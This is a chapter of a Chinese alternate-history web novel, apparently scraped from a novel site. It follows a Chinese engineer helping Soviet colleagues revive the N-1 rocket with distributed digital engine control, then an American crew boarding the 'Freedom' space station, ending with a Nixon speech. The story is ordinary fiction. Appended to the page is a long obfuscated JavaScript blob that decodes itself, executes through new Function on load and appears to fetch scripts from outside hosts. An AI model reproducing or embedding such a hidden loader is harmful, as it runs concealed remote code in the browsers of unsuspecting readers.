首页
第431章 自由号空间站
返回

第431章 自由号空间站

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    每个国家需要有每个国家的赢学绩效。
    苏俄的是他们的钢铁洪流,飞机大炮,可能还有一些科罗廖夫留下的航天余晖。
    但也就是余晖而已。
    克里姆林宫方面已经决定要和华国破冰。
    他们希望能够冻结在争议性的议题,降低边境对峙烈度,以及寻找新的合作方向。
    苏俄最希望的就是,能用卢布来购买华国的商品,其次是用石油、技术、大型工业设备来换,最后才是美元。
    他们也寻找到了他们的破冰方式,那就是航天领域的合作。
    由柯西金率领,前往华国展开访问的团队中,有两个熟悉的名字:波克罗夫斯基、格卢什科。
    苏俄航天局在科罗廖夫去世后,为了追上阿美莉卡的进度,曾经试图从华国寻找能为他们工作的“教授”。
    他们一开始认为钱会是这个人选。
    只是已经是51区负责人的钱又怎么可能会跑到莫斯科去为他们工作呢?
    所以华国派出了王曦继,一位有一定经验的年轻人去承担这一重任,华国方面会为他的工作提供协助。
    双方的合作一开始是很愉快的。
    尽管王曦继提出的分布式控制网络的想法,和苏俄的传统不符。
    但从实验来看,这一套对N-1火箭来说,是管用的,是有效果的,是能够看到解决曙光的。
    很遗憾的是,双方关系的急速降温,导致合作没能继续,在成功前,王曦继被迫回国。
    连带着他所坚持的技术路线也付之一炬。
    整个N-1火箭的研发进度也停滞了下来。
    接二连三的发射失败,加上半导体技术的重视程度上升,苏俄航天局拿到的经费越来越少,N-1火箭项目名存实亡。
    现在,苏俄方面希望能够重启这一项目。
    既是为了重返月球,也是破冰的第一步。
    这对苏俄来说可不是一个容易做的决定。
    某种意义上,这等于是在承认我们不行,必须要由华国人来牵头负责这个项目。
    可见在柯西金的操盘下,苏俄对于修复关系的决心之强烈。
    1969年,莫斯科
    时隔数年,王曦继再次踏上这片冰封的土地。
    记忆中,莫斯科是漫长的冬天,短暂的夏天,几乎不存在的春天和秋天。
    这次来不是冬天,气温很适宜。
    结合越战前线的炮火,阿美莉卡和苏俄之间在舆论上的冲突加剧,政治上的气氛同样火热。
    但他依然能闻到记忆中的冷冽空气,这是一种感觉,是他对莫斯科的记忆被唤醒。
    他知道,这一次,他不是作为客人,而是作为回归者。
    在苏俄航天局的会议室里,他坐在长桌的一端,对面坐着他曾经的同事,瓦连京·格卢什科。
    在多年前,他们曾并肩作战,为了一个共同的梦想而努力。
    但最终,两国关系的破裂,让他们各奔东西。
    瓦连京老了许多,曾经挺拔的身躯也变得有些佝偻。
    不过他们上次见面是在不久前的燕京。
    这次看到王曦继的回归,瓦连京面带笑意:“王,我们又要并肩作战了,这次,我们相信我们能把大家伙给点燃,像土星五号把阿美莉卡宇航员源源不断地送上月球那样,我们也要把我们的宇航员送上月球。”
    王曦继同样微笑着回应,他的语气平静而真诚:“当然,当然,在过去这三年时间里,我可没有停下来过,在理论和计算上,我已经做好了充足的准备。
    只要我们的验证顺利,我想我们很快就会成功。”
    瓦连京张大嘴巴,这是他在燕京的时候所不知道的:
    “N-1,它依然是我们的心病。
    在你走之后,我们尝试过很多次,但每一次都失败了。
    火箭在升空后,总是在某个阶段发生解体。
    我们用了最先进的集中式控制系统,但它在面对多台发动机同时工作所产生的复杂振动时,总是在毫秒之间崩溃。
    你现在说理论上、计算上已经完成了验证,怎么可能?”
    在燕京,他们聊的很宽泛。
    现在,可以聊一些具体的内容了。
    王曦继无奈道:“我在的时候不是说过,集中式的控制系统想要解决这个问题的难度是100,用分布式控制系统难度最多也就50。”
    瓦连京苦笑道:“在苏俄,科学从来不只是科学而已。
    分布式控制系统你能提,你担任项目负责人,你可以来推进,但我们不能。
    你应该知道李森科吧?”
    这里指的是李森科和瓦维洛夫的争论。
    双方围绕生物性状是后天环境决定的还是基因遗传决定的争论不休。
    李森科的理论在尼基塔时期,在苏俄占据了主导地位,成为莫斯科认可的理论,被强行推广到苏俄的农业实践中。
    一直到尼基塔被放逐到黑海后,李森科的理论才被否决。
    现在已经是列昂纳德了,李森科被否决了,但这种气氛,没有消失,塑造这种气氛的土壤仍然存在。
    王曦继秒懂,他同样无奈得摇了摇头,“好吧,我明白,我明白。
    这不是我们所能决定的。
    说回分布式控制系统。
    我们过去做了大量工作,就只差一些关键性的问题没有得到解决。
    我在燕京的这三年时间里,已经解决了这些关键的问题。”
    王曦继从公文包里拿出一叠厚厚的图纸和计算报告。
    “瓦连京同志,你还记得我当初对你说过的话吗?”王曦继问道,“我说过,自由是为了更好的控制。”
    他将图纸平铺在桌上,那里是一份详细的多发动机并联方案。
    “N-1第一级的30台NK-15发动机,我们称之为火箭森林。
    在点火瞬间,每一台发动机都会产生微小的推力偏差,这些偏差会叠加,形成次同步振动。
    而你们的集中式KORD模拟计算机,在面对如此庞大的实时计算量时,无法在毫秒级时间内做出有效调整,最终导致了火箭的解体。”
    王曦继指着图纸上的一个模块:“这几年,我们在华国拥有了更先进的半导体技术。
    我们已经用这些技术,开发出了一款数字化的分布式控制器。
    它可以被集成到每一台发动机的旁边,实时监测和调整推力。”
    他继续说道:“通过高速数据总线,这些控制器可以实现毫秒级的通信。
    如果一台发动机推力异常,相邻的控制器会立即感知到,并在中央单元的统筹下,对其他发动机的推力进行动态补偿。
    这就像人体的神经系统,每一个部分都是独立的,但它们又都听从大脑的指挥。
    当一个部分出现问题时,其他部分可以迅速进行补偿。
    这才是我们需要的。”
    王曦继接着掏出一份论文:“这是PID控制算法。
    每一个本地控制器都会实时监测发动机的推力偏差,并根据这个偏差,在瞬间计算出需要修正的推力。
    这个计算量很小,对于我们的数字处理器而言,是微不足道的。
    中央控制单元的角色,则从一个全能的计算者,变成了一个协调者。
    它只需要处理一个简化的模型,比如将一个发动机的失灵转化为一个全局的推力补偿向量,并将其分配给其他控制器。
    这种分布式计算的方式,彻底避免了单点故障和系统过载的问题。”
    没人会质疑华国的民用半导体制造能力,但这是火箭上要用的,它需要更高的稳定性,需要能够承受极端环境。
    瓦连京还是震惊于华国的进度之迅速。
    王曦继接着从公文包里掏出一个半导体电路:
    “这是我们开发的分布式控制器。
    它可以被集成到每一台发动机的旁边,实时监测和调整推力。
    采用了我们自主研发的固态晶体管和集成电路,能够承受高强度的辐射和振动。”
    瓦连京想到苏俄这几年把资金投入到半导体领域,但却进度缓慢就头痛。
    这用掉的可都是他们苏俄航天局的预算。
    随后他又对王曦继的公文包感兴趣起来,不是,你这什么万能公文包,怎么装了这么多好东西。
    “王,还有什么好东西全部拿出来给我开开眼界吧。”瓦连京调侃道。
    王曦继说:“我们剩下的工作还包括了控制器的软件开发,我们需要为它编写实时操作系统和控制算法,确保它能够准确快速响应传感器信号做出对应调整。
    然后就是发动机台架的热试车,我们需要将新控制器安装到一台真正的NK-15发动机上,在地面进行全推力点火试验。
    这将验证推力调节阀的响应速度和控制器的实际表现,确保它能在真实的、充满振动和噪音的环境中正常工作。
    我们还要搭建一个多台发动机的并联试验台,模拟火箭第一级的点火过程,以验证分布式控制系统在应对次同步振动时的实际效果。
    我们需要对火箭结构进行改造,需要重新设计N-1的内部结构,以安装高速数据总线,确保30个控制器和中央单元之间的稳定通信。
    在火箭的关键部位,需要安装新的传感器,用于实时监测振动、压力和加速度等数据,并将这些数据传输给控制器。”
    瓦连京提醒道:“你是不是还忘了什么?”
    王曦继恍然大悟,又从公文包里掏出一沓资料:“你是说仿真实验对吧?
    我已经在华国做完了。
    我们已经用计算机模拟N-1火箭的飞行物理、发动机动力学和外部环境。
    已经对这套控制系统的稳定性和可靠性做了验证。
    它从理论上,一定是可行的。”
    瓦连京以为这花费了王曦继巨大的工作量,对方在过去三年时间里,都在忙着做N-1火箭的研发。
    他心想,这是怎样的精神啊,都已经回华国了,在N-1火箭项目前途未卜的情况下做了这么多工作,我们当年说要寻找教授,虽说王的能力和教授有差距,但这工作态度确实没得说啊。
    瓦连京内心感动不已。
    实际上这是自我感动。
    这点计算量,也就是华国科学院的计算中心一天时间的功夫。
    至于其他工作,那都是顺带的。
    瓦连京内心雄心万丈:“王,那就让我们开始吧!”
    同样雄心壮志的还有尼克松。
    越战前线的逆转颓势,让他民调要好看不少,和年初的时候比,上去了一大截。
    毕竟无论是胡佛之死,还是围绕着胡佛一大堆疑点,都可以甩锅给之前的驴党。
    从肯尼迪到约翰逊,驴党足足在白宫呆了八年之久,你们这帮人害的。
    尼克松主打两个战略,第一就是把锅甩给前任,第二就是强调我越战打的有多好。
    现在,第三个又要来了。
    那就是阿美莉卡的第一个空间站。
    空间站是在1962年的时候立项的,当时林燃还是白宫航天事务特别助理,在国会参加NASA相关预算听证会的时候,就提出了相关构想。
    随后初步立项。
    历时整整八年时间,终于要在1969年完成组装了。
    从1969年初开始,整个安装过程历时半年。
    整个自由号空间站的设计充满了那个时代的风格。
    它由三个巨大的圆柱形舱段组成,分别是生活舱、实验舱和对接舱。
    这些舱段被一枚经过改装的土星五号火箭分批送入轨道,在轨道上自动完成对接。
    最终再由以奥尔德林和阿姆斯特朗为首的宇航员,通过复杂的舱外活动进行最后的组装。
    当自由号在轨道上完成最后一块太阳能电池板的安装时,它在太空中的模样,就像是一个巨大的、闪烁着金属光芒的十字架,象征着一个新时代的到来。
    卡纳维拉尔角,一枚经过改装的土星1B型火箭巍峨地矗立在发射台,它的顶部,是载着三名宇航员的指令舱。
    与之前阿波罗登月历次发射没有媒体关注,只有专注航天领域的记者和一些例行公事的大报记者在不同,这次的发射吸引了太多媒体的关注。
    毕竟登月有太多次,人类在太空中建立永久家园还是第一次。
    指令长巴兹·奥尔德林,尼尔·阿姆斯特朗和任务专家艾伦·斯宾塞,在凌晨四点便已起床。
    他们享用了传统的牛排和鸡蛋早餐,然后穿上了笨重的宇航服。
    在前往发射台的途中,大家都是老伙计,过去太空中的建造过程主要就是他们三人完成的。
    所以他们没有多余的言语,只是互相拍了拍肩膀,仿佛这次是一次再寻常不过的任务。
    林燃一定程度上改变了对宇航员的用法,在原世界线,宇航员是一次性消耗品。
    你在完成任务后就变成了吉祥物,在地球上享受人们的崇拜。
    包括物质上也会尽量满足,但你想再执行任务,那不行。
    你是我们的英雄,不能出意外。
    林燃则是好用我就一直用,奥尔德林都不知道去过多少次太空,坐过多少次火箭了。
    他坐火箭的次数,比百分之九十九的阿美莉卡人坐飞机还要更多。
    进入指令舱后,他们被固定在座椅上,舱内充满了电子设备的嗡鸣声。
    耳机里传来地面控制中心的倒计时声:“十、九、八”
    “.三、二、一,点火!”
    随着一声惊天动地的巨响,火箭底部喷射出橘红色的火焰,整个发射台被烟雾和蒸汽笼罩。
    他们被巨大的推力牢牢地压在座椅上。
    奥尔德林紧紧握住操纵杆,他的目光锁定在仪表盘上,监测着火箭的每一个微小变化。
    “尼尔,虽然已经不是第一次不是教授指挥了,但我还是觉得很不习惯。”
    “是的,我也是同样的感觉,没有听到教授的声音,我总感觉少了点什么。
    就像早上的牛排,厨师没有给我们加迷迭香一样奇怪。”
    “火箭升空,”奥尔德林平静道:“一切正常。”
    去过太多回,换你来你也平静。
    “我们收到你的信号,阿波罗10.5,”地面控制中心的声音立刻回应:“保持你的飞行姿态,我们会全程监控你的轨迹。”
    在接下来的几个小时里,他们将进行一系列复杂的轨道调整。他们需要精确地计算出与自由号空间站的会合点,然后进行多次点火,以确保他们能以完美的角度和速度,与空间站进行对接。
    “卡纳维拉尔,我们已经进入会合轨道,正在进行首次姿态调整,”奥尔德林看着屏幕上的数据说到。
    地面声音立刻回应:“收到,阿波罗10.5,我们看到你的调整了,数据非常完美。”
    对接,是整个任务中最关键、也最危险的环节。
    被NASA的工程师们调侃,这是太空中最精密的舞蹈。
    不过嘛,这个舞奥尔德林跳过太多次了。
    登月的时候需要对接,过去在修建空间站的时候需要对接。
    这次不过是一次例行公事罢了。
    他熟练地操纵着指令舱,缓慢而平稳地靠近自由号。
    当指令舱与自由号的距离缩短到几米时,他们已经可以清晰地看到空间站的金属外壳和太阳能电池板。
    艾伦·斯宾塞远不如旁边两位那么放松,他在舱内紧张地监测着数据,他的声音通过无线电传给奥尔德林:“距离两米,速度每秒0.05米,角度三度偏左。”
    最后时刻,奥尔德林深吸一口气,他将所有的数据都抛在脑后,只凭着自己多年训练出的直觉来操纵。
    “快了,快了,”他轻声说道,仿佛在自言自语,又仿佛在和自由号对话。
    最终,随着一声沉闷的咔哒声,对接完成。
    “卡纳维拉尔,这里是阿波罗10.5,我们已经安全对接,”尼尔·阿姆斯特朗淡淡道。
    地面控制中心,瞬间爆发出巨大的欢呼声。
    他们知道,最难的一步已经完成。
    卡纳维拉尔角,此时已经是第二天了。
    这里的会合方式是传统会合,一般需要两天时间才能完成会和。
    因为航天器会先进入一个比空间站略低的轨道,然后通过多次点火逐步提高轨道,接近空间站。
    这种方法更节省燃料,也更安全。
    在没有特殊需求的情况下,一般不会做几个小时的快速会合,哪怕是2020时空。
    发射台旁,海风轻拂,尼克松站在演讲台上。
    火箭的烟雾早已散去,但空气中仿佛还弥留着那股震耳欲聋的巨响。
    在所有人的注视下,尼克松走上台,他的脸上是往常的严肃。
    他开始讲话,声音穿透了海风,传向了在场的每一个人,也随着广播信号和电视信号传向了全世界的每一个角落。
    “我的阿美莉卡同胞们,今天,我们的宇航员已经成功入驻人类历史上的第一个空间站。
    我们征服月球的同时,也将征服我们头顶的天空,阿美莉卡的旗帜将遍布在宇宙之中!”
    他的话语掷地有声。
    “这不是一个简单的旅程,这是人类的又一次飞跃。
    它告诉我们,人类在宇宙中的未来会比我们想象的更快到来。
    我们将在太空中建立我们的前哨站,我们将从那里出发,去探索更遥远的宇宙。
    这是自由的胜利,这是人类的胜利。”
    尼克松停顿了一下,他的目光望向远方,仿佛穿透了云层,看到了在太空中闪烁着金属光芒的自由号空间站。
    “在过去的几个世纪里,我们的人民一直在探索新的地平线。
    我们的先辈们横渡大西洋,征服了这片大陆。
    而今天,我们的宇航员,正在征服一片全新的海洋,一片没有边界、没有尽头的宇宙海洋。”
    他转过身,面向台下的人群,语气中充满了激情。
    “我向你们保证,美国不会停下探索的脚步。
    我们将继续投资太空,我们将继续突破科学的极限。
    因为我们知道,太空的征服,不仅仅是为了科学,更是为了人类的未来。
    它将带给我们新的技术,新的能源,新的生活方式。
    它将让我们的人民,拥有一个更加美好的未来。
    今天,我们见证了一个新时代的诞生。
    我们见证了人类的勇气、智慧和决心。
    我们见证了,人类的梦想,可以超越任何边界。”
    他向人群挥了挥手,内心感到无比的放松,越战进展顺利,很快他就能带士兵们回到华盛顿过圣诞节。
    北越不堪一击。
    空间站又升空了,在宇宙中拥有自己的领土,这是苏俄也没能做到的事情。
    “谢谢你们,愿上帝保佑美利坚!”
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();